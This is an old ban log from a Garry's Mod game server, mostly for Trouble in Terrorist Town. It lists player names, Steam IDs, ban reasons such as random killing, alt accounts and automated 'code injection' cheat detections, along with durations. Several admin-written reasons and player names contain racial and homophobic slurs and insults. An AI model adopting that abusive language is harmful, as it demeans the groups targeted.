STEAM_0:0:21444604 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:04 pm 30-06-11 Unknown STEAM_0:0:27176193 DDoS Kiwii +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +5:58 pm 30-06-11 Rick The Adventure Sphere STEAM_0:0:27176193 RDM. +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +11:40 am 30-06-11 [TNC] Physics STEAM_0:0:34730342 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:7:30 Unbanned +11:25 am 30-06-11 Unknown STEAM_0:1:26250283 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:24 am 30-06-11 Unknown STEAM_0:0:41745347 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:11 pm 29-06-11 Backstabber SPY STEAM_0:0:20757793 Perma lolol +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:23 pm 29-06-11 The_GOD STEAM_0:1:14186905 Ghosting, perma banned +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:20 pm 29-06-11 Ag8 \MoZZ@ InFeCtEd/ STEAM_0:0:22491171 ghosting +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:24 am 29-06-11 Unknown STEAM_0:0:24350981 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:23 am 29-06-11 Unknown STEAM_0:1:28757742 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:23 am 29-06-11 Unknown STEAM_0:1:31713955 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:54 am 29-06-11 =AlienSex=Scary Whale STEAM_0:0:11504943 Alt of +banned ID STEAM_0:1:37819177 (Console) Fretta|Tigergruppe Kommand +Surf 1:6:9 Unbanned +3:09 am 29-06-11 Carnivore (Aqua Mafia Soldier) STEAM_0:1:3708491 Alt +of banned ID STEAM_0:1:20190580 (Console) Fretta|Tigergruppe Kommand +Trouble in Terrorist Town Permanent Banned +3:01 am 29-06-11 Brenten STEAM_0:1:20190580 Refusing to follow rules, +RDM +[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +12:43 am 29-06-11 chicken pox STEAM_0:1:37819177 rdm +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +11:54 pm 28-06-11 +[SP]+ MeadowBug STEAM_0:0:18096541 Kiwii +Fretta|Tigergruppe Kommand Deathrun 0:0:0 Unbanned +6:27 pm 28-06-11 RAPID_RAPIST STEAM_0:0:15261031 RDM +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +4:02 pm 28-06-11 AnonymousDonald ||GH|| STEAM_0:0:8083803 Alt of +banned ID STEAM_0:0:41331055 (Console) Unknown Unknown Permanent +Banned +3:58 pm 28-06-11 OxTox STEAM_0:0:1669942 Alt of banned ID +STEAM_0:0:41331055 (Console) Unknown Unknown Permanent Banned +1:18 am 28-06-11 JaYcOb STEAM_0:1:38447164 Alt of banned ID +STEAM_0:0:38808302 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 5:16:24 Unbanned +12:40 am 28-06-11 iGustopher STEAM_0:1:35061356 RDM, Prop-Kill ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:10:0 Unbanned +12:37 am 28-06-11 craWzZ lawl? x) STEAM_0:0:34216844 RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:6:0 Unbanned +7:59 pm 27-06-11 FORSCH ` STEAM_0:0:28836539 propkilling lame cunt ++[SP]+ Ecuilirum Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:10:0 Unbanned +7:34 pm 27-06-11 Xuly_Ct STEAM_0:0:29590117 shhh +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Deathrun 0:0:10 Unbanned +7:33 pm 27-06-11 Rambox STEAM_0:0:36613827 shhh +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Deathrun 0:0:10 Unbanned +6:45 pm 27-06-11 Ag8 \MoZZ@ InFeCtEd/ STEAM_0:0:22491171 grow up +-_- +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Deathrun 1:9:20 +Unbanned +6:24 pm 27-06-11 Rebecca White STEAM_0:1:14083830 like this? +[SP]+ +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:53 pm 27-06-11 Unknown STEAM_0:0:22043362 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:37 pm 27-06-11 Bobbycanush STEAM_0:0:29913456 Perma Kiwii +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:08 am 27-06-11 ^5HerdULiekMudkipz. STEAM_0:0:18935548 Cool off. +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:03 pm 26-06-11 [CC] Kool Kitty STEAM_0:0:38808302 Triple RDM as +detective 10000 Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:22:40 Unbanned +2:44 pm 26-06-11 Patrik STEAM_0:0:13913439 Alt of banned ID +STEAM_0:1:22097298 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:37 pm 26-06-11 Unknown STEAM_0:1:32471831 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:37 pm 26-06-11 Unknown STEAM_0:1:24595045 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +2:24 am 26-06-11 Orey STEAM_0:0:17705063 Little bit of RDM +[SP]+ +Grim Jam Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:30 Unbanned +1:20 am 26-06-11 мαÑ?Ñ?Ñ?Ñ?¢Ñ?м STEAM_0:0:33770033 Fuck you ++[SP]+ Grim Jam Fretta|Tigergruppe Kommand Snifer 0:1:40 Unbanned +12:11 am 24-06-11 Boss Hawk? STEAM_0:0:14972720 rdm fage ass gook ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:9:20 Unbanned +9:42 pm 23-06-11 DROP SHOCK TROOPER STEAM_0:1:25064912 Retard/10 +years old (Console) Unknown Unknown Permanent Banned +5:48 pm 23-06-11 Unknown STEAM_0:1:41679627 Good memory +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +5:48 pm 23-06-11 Unknown STEAM_0:0:41691509 Good memory +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +5:39 pm 23-06-11 Unknown STEAM_0:1:19946986 I have a good memory ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:27 pm 23-06-11 Unknown STEAM_0:1:19946986 I have a real good +memory +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Deathrun +Permanent Banned +5:07 pm 23-06-11 Ag8 \MoZZ@ InFeCtEd/ STEAM_0:0:22491171 WAZZ +UUUUUUUPPPP (GROW UP!) +[SP]+ MAD MANN Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:10 Unbanned +4:45 pm 23-06-11 [Gmod.biZ] â??Knucklezâ?? STEAM_0:1:28247134 I enjoy +your RDM, I also enjoy your perma ban,. Kiwii Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Unbanned +1:51 pm 23-06-11 Unknown STEAM_0:0:13171952 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +12:37 pm 23-06-11 ^5LKM|^6Jesus^3Mæ^2Biatches STEAM_0:1:6018559 Dude +your fucking banned,. Kiwii Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +2:21 am 23-06-11 iGustopher STEAM_0:1:35061356 Innocent Prop +Pushing +[SP]+ Suicidal Robot Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +12:36 am 23-06-11 Jack STEAM_0:0:6719592 RDM +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:13 pm 22-06-11 NiggaStoleMyBike STEAM_0:1:12115323 Blatant twat ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +5:56 pm 22-06-11 Sam Rennie STEAM_0:1:23097789 dont rdm and listen to +admin +[SP]+ Ecuilirum Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +5:53 pm 22-06-11 |FL|Canowhoopass STEAM_0:1:15564487 Alt of banned ID +STEAM_0:0:38035563 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +11:58 pm 21-06-11 GamerB0y STEAM_0:1:32250765 Alt of banned ID +STEAM_0:1:26623243 (Console) Unknown Unknown Permanent Banned +11:51 pm 21-06-11 Panda Hat STEAM_0:0:15941044 Alt of banned ID +STEAM_0:1:26623243 (Console) Unknown Unknown Permanent Banned +10:26 pm 21-06-11 Hudson STEAM_0:1:337624 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +10:26 pm 21-06-11 mandark STEAM_0:0:404578 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +8:35 pm 21-06-11 Unknown STEAM_0:0:17488508 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +5:06 pm 21-06-11 Under-Pwner STEAM_0:1:20035783 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 4:4:0 Unbanned +5:05 pm 21-06-11 slymansix STEAM_0:1:5388189 RDMing on spawn +[SP]+ +shurty40 Unknown Unknown 0:0:10 Unbanned +4:58 pm 21-06-11 Unknown STEAM_0:1:32904731 rdm -> disconnect +[SP]+ +Bloodcore Unknown Unknown 0:10:0 Unbanned +3:50 pm 21-06-11 Unknown STEAM_0:0:24235484 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:51 pm 20-06-11 =GK= Lomol STEAM_0:1:25274868 Ignoring admin, +rdm. +[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +10:04 pm 20-06-11 Flapadar STEAM_0:0:10839552 Lol Flapadar +Unknown Unknown 0:0:10 Unbanned +4:09 pm 19-06-11 The (POed) Guy STEAM_0:1:9400651 Alt of banned ID +STEAM_0:0:9431349 (Console) Unknown Unknown Permanent Banned +2:44 pm 19-06-11 Unknown STEAM_0:0:9431349 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:03 pm 19-06-11 HAX STEAM_0:1:33604057 Alt of banned ID +STEAM_0:1:33604057 (Console) Unknown Unknown Permanent Banned +2:54 am 19-06-11 ã??ã?³ã??ã?¹ ï½¥Ï?ï½¥ STEAM_0:0:18214577 Innocent +attacked Detective unreasonably +[SP]+ Suicidal Robot Unknown +Unknown 0:1:0 Unbanned +2:45 am 19-06-11 sharpeye STEAM_0:0:35694017 RDM +[SP]+ Suicidal +Robot Unknown Unknown 0:2:0 Unbanned +10:26 pm 18-06-11 efwfwef STEAM_0:1:12115323 Ignooring warning, +racist Flapadar Unknown Unknown 2:0:0 Unbanned +10:08 pm 18-06-11 Bad King Urgrain STEAM_0:1:24252867 Alt of banned +ID STEAM_0:1:24252867 (Console) Unknown Unknown Permanent Banned +9:19 pm 18-06-11 Unknown STEAM_0:0:27126215 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +8:13 pm 18-06-11 Robosprog STEAM_0:1:3920057 Alt of banned ID +STEAM_0:1:3920057 (Console) Unknown Unknown Permanent Banned +4:33 pm 18-06-11 Unknown STEAM_0:1:20128290 RDM as detective multiple +times, previous offences, bye. (Console) Unknown Unknown Permanent +Banned +2:17 pm 18-06-11 yellow chinese rice STEAM_0:1:12115323 stupid twat ++[SP]+ Ecuilirum Unknown Unknown 0:1:0 Unbanned +1:45 pm 18-06-11 CS | Luke STEAM_0:1:11268198 rdmer +[SP]+ +Ecuilirum Unknown Unknown 0:10:0 Unbanned +1:31 pm 18-06-11 SOUTH PARK =LoVeR= STEAM_0:1:25510571 rdm +[SP]+ +Ecuilirum Unknown Unknown 0:1:0 Unbanned +12:56 pm 18-06-11 Unknown STEAM_0:0:8406038 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +5:45 pm 17-06-11 Unknown STEAM_0:0:11481020 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +8:50 pm 16-06-11 Unknown STEAM_0:0:20056651 Joining his friend for +trolling. (Console) Unknown Unknown Permanent Banned +8:47 pm 16-06-11 Frrrrrrunkis! STEAM_0:0:29698958 Troll Flapadar +Unknown Unknown Permanent Banned +6:03 pm 16-06-11 +[SP]+ Harry STEAM_0:0:19618718 Ignoring Admin, +Admin Disrespect, Member Disrespect +[SP]+ Bloodcore Unknown +Unknown Permanent Banned +6:01 pm 16-06-11 +[SP]+ Patrice Wilson STEAM_0:1:24252867 Admin +disrespect, Member Disrespect, Retard +[SP]+ Bloodcore Unknown +Unknown Permanent Banned +1:47 pm 16-06-11 Unknown STEAM_0:0:11236593 Cheat: Eradicate +(Console) Unknown Unknown Permanent Banned +1:20 am 16-06-11 Unknown STEAM_0:1:41274325 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:17 am 16-06-11 Don Promillo STEAM_0:0:8597679 RDM/Retard and fuck +you too - Unbanned by flap Flapadar Unknown Unknown Permanent Unbanned +9:30 pm 15-06-11 gamelordalex STEAM_0:0:34881343 Warned. RDM +Flapadar Unknown Unknown 7:0:0 Unbanned +8:58 pm 15-06-11 HAX STEAM_0:1:33604057 RDM +[SP]+ MAD MANN +Unknown Unknown Permanent Banned +10:26 am 15-06-11 Unknown STEAM_0:0:18697685 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +8:13 pm 14-06-11 Golgotha STEAM_0:0:2647840 numnut rdming detective u +lame bastard +[SP]+ Ecuilirum Unknown Unknown 0:1:0 Unbanned +8:11 pm 14-06-11 mandark STEAM_0:0:404578 RDM again +[SP]+ St. +Hetfield Unknown Unknown 0:0:30 Unbanned +11:03 pm 13-06-11 That one Guy STEAM_0:1:30655030 Traitor TK. RDM. +Fuck off. +[SP]+ ULTRA Unknown Unknown Permanent Banned +10:06 pm 13-06-11 Unknown STEAM_0:0:39875597 Cheat: Code injection +(Console) Unknown Unknown Permanent Unbanned +3:39 pm 13-06-11 Unknown STEAM_0:1:18214819 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +9:54 pm 12-06-11 Misser Neselo STEAM_0:0:22041164 Alt of banned ID +STEAM_0:0:19210931 (Console) Unknown Unknown Permanent Banned +6:45 pm 12-06-11 Unknown STEAM_0:0:19803935 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:45 pm 12-06-11 Unknown STEAM_0:0:15644324 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:31 pm 12-06-11 Imba. MTL STEAM_0:0:19210931 RDM, Mass-RDM, RDM as +detective +[SP]+ Bloodcore Unknown Unknown Permanent Banned +10:03 pm 11-06-11 Morf8 STEAM_0:1:33618793 250 Karma, Mass-RDM ++[SP]+ Bloodcore Unknown Unknown 12:12:0 Unbanned +10:00 pm 11-06-11 â?¦â?¦â?? Ë?¨Ë?â??°ºâ?¢ LULL STEAM_0:0:19408225 +RDM as detective +[SP]+ Bloodcore Unknown Unknown 0:1:0 Unbanned +5:10 pm 11-06-11 [TNC] Physics STEAM_0:0:34730342 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:8:20 Unbanned +8:52 pm 10-06-11 garrett_the_great STEAM_0:0:34111387 RDM. Mega +ignoring admin. +[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +7:48 pm 10-06-11 ^1PRO Nutsy STEAM_0:1:28328613 Trap Spam/Fucking +around +[SP]+ Bloodcore Unknown Unknown 2:0:0 Unbanned +6:52 pm 10-06-11 Unknown STEAM_0:1:19797567 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:01 pm 10-06-11 SoliDHeaD | | Ac×?DRa1NN` STEAM_0:0:30733371 Retard +- mass RDM Flapadar Unknown Unknown 2:0:0 Unbanned +2:12 pm 10-06-11 Unknown STEAM_0:0:31977149 retard (Console) +Unknown Unknown Permanent Banned +2:07 pm 10-06-11 speuda STEAM_0:0:25701342 Kiwii Unknown Unknown +1:0:0 Unbanned +12:20 am 10-06-11 Zewban STEAM_0:0:1524470 Kiwii Unknown Unknown +1:0:0 Unbanned +12:15 am 10-06-11 DN.se/Ananas und Armee +STEAM_0:1:15944888 Kiwii Unknown Unknown 1:0:0 Unbanned +11:31 pm 09-06-11 Rook/DTRZ STEAM_0:1:11821690 Kiwii Unknown +Unknown Permanent Banned +9:58 pm 09-06-11 Charlie Sheen STEAM_0:0:21999823 Ignoring admin, +maybe rdm but dont give a fuck if you are ignoring me. +[SP]+ ULTRA +Unknown Unknown 2:0:0 Unbanned +9:49 pm 09-06-11 | Topassassin STEAM_0:1:7161165 Retard detective. +learn2play, noob rdmer. +[SP]+ ULTRA Unknown Unknown Permanent Banned +9:15 pm 09-06-11 Imba. MTL STEAM_0:0:19210931 Admin Disrespect ++[SP]+ Bloodcore Unknown Unknown 0:10:0 Unbanned +9:12 pm 09-06-11 Darius STEAM_0:0:22041164 RDM +[SP]+ Bloodcore +Unknown Unknown 0:10:0 Unbanned +8:56 pm 09-06-11 {>BW<} DEEP FÑ?IED M@Ñ?$ B@R! STEAM_0:1:9622670 +Mass-RDM, Again and again. +[SP]+ Bloodcore Unknown Unknown +Permanent Banned +8:28 pm 09-06-11 [WS] Waffles101 STEAM_0:1:30713439 RDM +[SP]+ +Bloodcore Unknown Unknown 0:3:0 Unbanned +8:06 pm 09-06-11 DK søger clan keeperandersen * STEAM_0:0:40882875 +Ghosting +[SP]+ Bloodcore Unknown Unknown 4:4:0 Unbanned +7:15 pm 09-06-11 I RDM STEAM_0:1:8642952 +[SP]+ CCD Unknown +Unknown 0:1:0 Unbanned +7:01 pm 09-06-11 Stacey King STEAM_0:1:14328404 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:1:0 Unbanned +6:50 pm 09-06-11 Disturbed STEAM_0:0:11859704 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:1:0 Unbanned +6:48 pm 09-06-11 My name is SYLAR!! STEAM_0:0:33804756 rdm <[Foxes]> +.ExEcute Unknown Unknown Permanent Banned +2:26 am 09-06-11 Unknown STEAM_0:1:19699112 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:18 pm 08-06-11 fil86 STEAM_0:0:6206243 rdmer +[SP]+ Ecuilirum +Unknown Unknown 0:1:0 Unbanned +5:27 pm 08-06-11 Suhayll STEAM_0:0:29555116 RDM +[SP]+ Nekoace +Unknown Unknown 0:16:40 Unbanned +4:38 pm 08-06-11 Unknown STEAM_0:0:17275724 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +4:38 pm 08-06-11 Unknown STEAM_0:0:41331055 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:21 pm 08-06-11 Unknown STEAM_0:0:23888757 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:54 am 08-06-11 [MG] Person. STEAM_0:1:21982955 Retard rdmer fuck +you dickface +[SP]+ ULTRA Unknown Unknown 2:0:0 Unbanned +12:05 am 08-06-11 very cool tricky STEAM_0:0:4598329 god bless my +ass +[SP]+ MAD MANN Unknown Unknown Permanent Banned +11:09 pm 07-06-11 HanPurple STEAM_0:0:13221563 killing me without +reason <[Foxes]> .ExEcute Unknown Unknown 0:1:0 Unbanned +3:10 pm 07-06-11 Unknown STEAM_0:0:23221448 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:10 pm 07-06-11 Unknown STEAM_0:1:15922559 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:35 am 07-06-11 Unknown STEAM_0:0:21479081 Im server owner. Nope. +(Console) Unknown Unknown Permanent Banned +8:38 pm 06-06-11 Meron STEAM_0:0:23095275 perma Kiwii Unknown +Unknown Permanent Banned +9:42 pm 05-06-11 Unknown STEAM_0:0:12049687 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +7:40 pm 05-06-11 Brian STEAM_0:1:31183784 RDMing Flapadar Unknown +Unknown 2:0:0 Unbanned +3:27 pm 05-06-11 PetitYaourt[FR] STEAM_0:0:35751969 RDM Kiwii +Unknown Unknown 1:0:0 Unbanned +2:04 pm 05-06-11 -hg- The Darkhaud STEAM_0:0:23926287 Kiwii +Unknown Unknown 7:0:0 Unbanned +2:56 am 05-06-11 +[SP]+ Shit STEAM_0:1:8785271 tag fake? +[SP]+ MAD +MANN Unknown Unknown Permanent Banned +2:56 am 05-06-11 +[SP]+ Brucie Wayne STEAM_0:0:20248582 tag fake? ++[SP]+ MAD MANN Unknown Unknown Permanent Banned +2:00 am 05-06-11 |WT| RZA STEAM_0:0:1462964 RDM, bye dawg +[SP]+ +SFAriel Unknown Unknown Permanent Banned +1:55 am 05-06-11 jeftek STEAM_0:0:22704892 RDM +[SP]+ SFAriel +Unknown Unknown 0:0:30 Unbanned +10:00 pm 04-06-11 Yitsu STEAM_0:1:24641341 Alt of banned ID +STEAM_0:0:34875775 (Console) Unknown Unknown Permanent Banned +9:39 pm 04-06-11 icarusfoundyou STEAM_0:1:8404080 asking for it ++[SP]+ MAD MANN Unknown Unknown 1:0:0 Unbanned +9:27 pm 04-06-11 digii STEAM_0:0:14894520 you got banned, again? +Moaby Unknown Unknown 0:0:10 Unbanned +2:44 pm 04-06-11 killermouse_nor STEAM_0:1:37843575 10 minute ban for +u that keeps rdming +[SP]+ Ecuilirum Unknown Unknown 0:0:10 Unbanned +1:04 pm 04-06-11 Suhayll STEAM_0:0:29555116 rdmer le dickowacko +cocko +[SP]+ Ecuilirum Unknown Unknown 0:0:20 Unbanned +3:19 am 04-06-11 pukie210 STEAM_0:0:27294174 twat +[SP]+ MAD MANN +Unknown Unknown 0:1:40 Unbanned +2:02 am 04-06-11 ty (tacticaly insane) STEAM_0:1:25219286 I owe you a +perma ban Kiwii Unknown Unknown Permanent Banned +7:06 pm 03-06-11 Trunk$_PL STEAM_0:0:17165995 RDM, Killing Fellow +Traitors, ignoring admin +[SP]+ Bloodcore Unknown Unknown 4:4:0 +Unbanned +7:04 pm 03-06-11 Brilleklaus STEAM_0:1:6237391 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 4:4:0 Unbanned +6:38 pm 03-06-11 toroalbino STEAM_0:1:32056001 RDM Flapadar +Unknown Unknown 1:0:0 Unbanned +6:13 pm 03-06-11 Jikke STEAM_0:0:5605985 +[SP]+ Ecuilirum Unknown +Unknown 0:0:10 Unbanned +12:04 pm 03-06-11 PIECEoPAPER STEAM_0:0:24255629 +[SP]+ Grim Jam +Unknown Unknown 0:20:0 Unbanned +11:02 am 03-06-11 cRux STEAM_0:0:18187851 i object +[SP]+ SFAriel +Unknown Unknown 0:13:20 Unbanned +6:28 pm 02-06-11 Jummy STEAM_0:0:13297057 0 Kiwii Unknown +Unknown 1:0:0 Unbanned +5:26 pm 02-06-11 CraZyKiLLeR STEAM_0:1:35037256 RDM +[SP]+ SFAriel +Unknown Unknown 0:2:48 Unbanned +12:32 am 02-06-11 PIECEoPAPER STEAM_0:0:24255629 Kiwii Unknown +Unknown 1:0:0 Unbanned +9:44 pm 01-06-11 going for perma, no less STEAM_0:1:20524414 Asking +for it +[SP]+ MAD MANN Unknown Unknown Permanent Banned +6:26 pm 01-06-11 STEAM_0:0:25627034 warned about spam so go fuck +yourself <[Foxes]> .ExEcute Unknown Unknown 0:8:20 Unbanned +1:52 pm 01-06-11 Unknown STEAM_0:0:13447047 Herp Derp I keylogged +Moab. (Console) Unknown Unknown Permanent Banned +2:12 am 01-06-11 Benhur STEAM_0:0:28477623 Alt of banned ID +STEAM_0:0:24001820 (Console) Unknown Unknown Permanent Banned +12:08 am 01-06-11 sir fontaine STEAM_0:1:18924117 RDM +[SP]+ +Bloodcore Unknown Unknown 2:2:0 Unbanned +11:41 pm 31-05-11 Disturbed STEAM_0:0:11859704 RDM, I got bored so I +killed my friends +[SP]+ Bloodcore Unknown Unknown 0:0:10 Unbanned +8:17 pm 31-05-11 [ZF.GFL] dylanstrategie STEAM_0:0:23573469 rdm ++[SP]+ MAD MANN Unknown Unknown 1:0:0 Unbanned +6:38 pm 31-05-11 Unknown STEAM_0:0:27013904 Cheat: Code injection +(Console) Unknown Unknown 344:2:16 Unbanned +3:27 pm 31-05-11 X Toy Rhino STEAM_0:0:66502 RDMing kid. Some stupid +reason. +[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +3:08 pm 31-05-11 Jman STEAM_0:1:25591580 Dickhead rdm. +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +1:19 pm 31-05-11 Aperture Science STEAM_0:1:20264839 Offensive +language towards others Moaby Unknown Unknown 0:1:40 Unbanned +10:33 pm 30-05-11 +[SP]+ Suicidal Robot STEAM_0:0:6608332 like dis? +Moaby Unknown Unknown 0:0:1 Unbanned +10:10 pm 30-05-11 Ã?ĤâţÄ?ḼâÄ? STEAM_0:1:29265352 Fucking son of +a bitch +[SP]+ St. Hetfield Unknown Unknown 0:22:45 Unbanned +10:10 pm 30-05-11 Placardman STEAM_0:0:16186808 bye +[SP]+ MAD +MANN Unknown Unknown 1:0:0 Unbanned +8:44 pm 30-05-11 X Toy Rhino STEAM_0:0:66502 no reason and no witness +u rdmer +[SP]+ Ecuilirum Unknown Unknown 0:0:10 Unbanned +8:04 pm 30-05-11 salonga STEAM_0:1:26146007 rdming fag +[SP]+ +Ecuilirum Unknown Unknown 0:0:10 Unbanned +7:35 pm 30-05-11 Aperture STEAM_0:1:20264839 AFK, RDM +[SP]+ +Bloodcore Unknown Unknown 0:1:0 Unbanned +5:38 pm 30-05-11 Unknown STEAM_0:0:19096785 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:51 pm 30-05-11 warmdahl STEAM_0:1:27205037 Activating all the +traps, Being a Douche, Ignoring Admin +[SP]+ Bloodcore Unknown +Unknown 0:20:0 Unbanned +11:49 am 30-05-11 Unknown STEAM_0:1:14832593 Breaking rules, lying in +unban request (Console) Unknown Unknown 31:0:0 Unbanned +3:28 am 30-05-11 redmurder STEAM_0:0:36878139 rdm +[SP]+ MAD MANN +Unknown Unknown 1:0:0 Unbanned +2:00 am 30-05-11 Mystic Purple STEAM_0:1:15034027 Alt of banned ID +STEAM_0:0:13221563 (Console) Unknown Unknown 0:23:58 Unbanned +1:59 am 30-05-11 mouss_elsass STEAM_0:0:13221563 RDM +[SP]+ MAD +MANN Unknown Unknown 1:0:0 Unbanned +1:45 am 30-05-11 Unknown STEAM_0:1:18413786 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:52 pm 29-05-11 long swing hammer STEAM_0:1:24845410 Alt of banned +ID STEAM_0:0:12269454 (Console) Unknown Unknown Permanent Banned +9:03 pm 29-05-11 Unknown STEAM_0:1:22097298 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +5:55 pm 29-05-11 Unknown STEAM_0:0:24963345 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +8:59 pm 28-05-11 VRN|Laserman@Almighty Mono-Man! STEAM_0:0:7803220 +raging and said nigger +[SP]+ MAD MANN Unknown Unknown 1:0:0 Unbanned +4:07 pm 28-05-11 haynes2919 STEAM_0:0:35418753 idiot +[SP]+ MAD +MANN Unknown Unknown 0:1:0 Unbanned +4:02 pm 28-05-11 STEAM_0:1:1451714 Kiwii Unknown Unknown 1:0:0 +Unbanned +3:52 pm 28-05-11 Red bull STEAM_0:0:36505286 Kiwii Unknown +Unknown 1:0:0 Unbanned +3:29 pm 28-05-11 Unknown STEAM_0:1:30682335 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:05 pm 28-05-11 toroalbino STEAM_0:1:32056001 Declaring war and +dumbshit Flapadar Unknown Unknown 2:0:0 Unbanned +2:56 pm 28-05-11 Alone STEAM_0:0:20409864 Bigger retard. RDM. +Disguised Disguisemaster Unknown Unknown 28:0:0 Unbanned +2:56 pm 28-05-11 [WS] Waffles101 STEAM_0:1:30713439 Prop Killing +Flapadar Unknown Unknown 0:1:0 Unbanned +2:55 pm 28-05-11 l MA CHIKIN (º n º) STEAM_0:0:33672697 RDM, +retard. Disguised Disguisemaster Unknown Unknown 14:0:0 Unbanned +2:36 pm 28-05-11 .â?¢Death Dudeâ?¢. STEAM_0:0:28253563 you said you +were a faggot. and i dislike faggots Nobody Unknown Unknown 0:1:0 +Unbanned +11:51 pm 27-05-11 Deathnotedo STEAM_0:1:24637211 Penis brain +asswipe +[SP]+ MAD MANN Unknown Unknown Permanent Banned +10:32 pm 27-05-11 +[SP]+ Ostrava of Boletaria STEAM_0:1:25494238 +crowbar retard +[SP]+ MAD MANN Unknown Unknown 0:1:0 Unbanned +10:07 pm 27-05-11 linus2011 STEAM_0:0:37766021 Alt of banned ID +STEAM_0:0:37766021 (Console) Unknown Unknown Permanent Banned +9:29 pm 27-05-11 Im GHey STEAM_0:0:18391725 Cheat: Speedhack +(Console) Unknown Unknown Permanent Banned +5:26 pm 27-05-11 Unknown STEAM_0:1:20237730 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned 